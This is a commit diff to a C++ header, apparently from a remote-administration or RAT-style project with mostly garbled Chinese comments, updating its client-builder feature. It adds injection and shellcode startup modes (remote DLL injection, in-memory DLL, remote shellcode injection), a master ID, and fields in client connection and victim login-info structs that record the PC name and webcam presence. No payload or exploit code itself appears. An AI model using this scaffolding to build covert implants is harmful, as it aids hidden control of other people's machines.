Update client building feature / All in one
This commit is contained in:
@@ -61,6 +61,7 @@ typedef void* LPVOID, * HANDLE;
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <time.h>
|
||||
#include <unordered_map>
|
||||
|
||||
#ifndef _MAX_PATH
|
||||
#define _MAX_PATH 260
|
||||
@@ -72,6 +73,9 @@ typedef void* LPVOID, * HANDLE;
|
||||
|
||||
#define FLAG_GHOST FLAG_FINDEN
|
||||
|
||||
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
||||
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||
|
||||
@@ -265,6 +269,59 @@ inline const char* GetClientType(int typ) {
|
||||
}
|
||||
}
|
||||
|
||||
inline int compareDates(const std::string& date1, const std::string& date2) {
|
||||
static const std::unordered_map<std::string, int> monthMap = {
|
||||
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
|
||||
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
|
||||
};
|
||||
|
||||
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
|
||||
int month = monthMap.at(date.substr(0, 3));
|
||||
int day = std::stoi(date.substr(4, 2));
|
||||
int year = std::stoi(date.substr(7, 4));
|
||||
return { year, month, day };
|
||||
};
|
||||
|
||||
try {
|
||||
auto t1 = parse(date1);
|
||||
auto t2 = parse(date2);
|
||||
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
|
||||
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
|
||||
|
||||
if (y1 != y2) return y1 < y2 ? -1 : 1;
|
||||
if (m1 != m2) return m1 < m2 ? -1 : 1;
|
||||
if (d1 != d2) return d1 < d2 ? -1 : 1;
|
||||
return 0;
|
||||
}
|
||||
catch (const std::exception& e) {
|
||||
std::cerr << "Date parse error: " << e.what() << std::endl;
|
||||
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
|
||||
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
|
||||
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
|
||||
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
|
||||
enum TestRunType {
|
||||
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
|
||||
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
|
||||
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||
};
|
||||
|
||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||
{
|
||||
for (int i = 0; i < iBufferSize - iKeySize; ++i)
|
||||
{
|
||||
if (0 == memcmp(szBuffer + i, Key, iKeySize))
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
@@ -276,7 +333,8 @@ public:
|
||||
bool bEncrypt;
|
||||
char szBuildDate[12];
|
||||
int iMultiOpen;
|
||||
char szReserved[134]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD>ṹ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD>
|
||||
int iStartup; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
char szReserved[130]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
@@ -285,6 +343,12 @@ public:
|
||||
const void* Flag() const {
|
||||
return szFlag;
|
||||
}
|
||||
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
|
||||
CONNECT_ADDRESS copy = *this;
|
||||
memset(copy.szFlag, 0, sizeof(szFlag));
|
||||
memcpy(copy.szFlag, flag, strlen(flag));
|
||||
return copy;
|
||||
}
|
||||
int FlagLen() const {
|
||||
return strlen(szFlag);
|
||||
}
|
||||
@@ -344,7 +408,8 @@ typedef struct LOGIN_INFOR
|
||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
|
||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
|
||||
Reference in New Issue
Block a user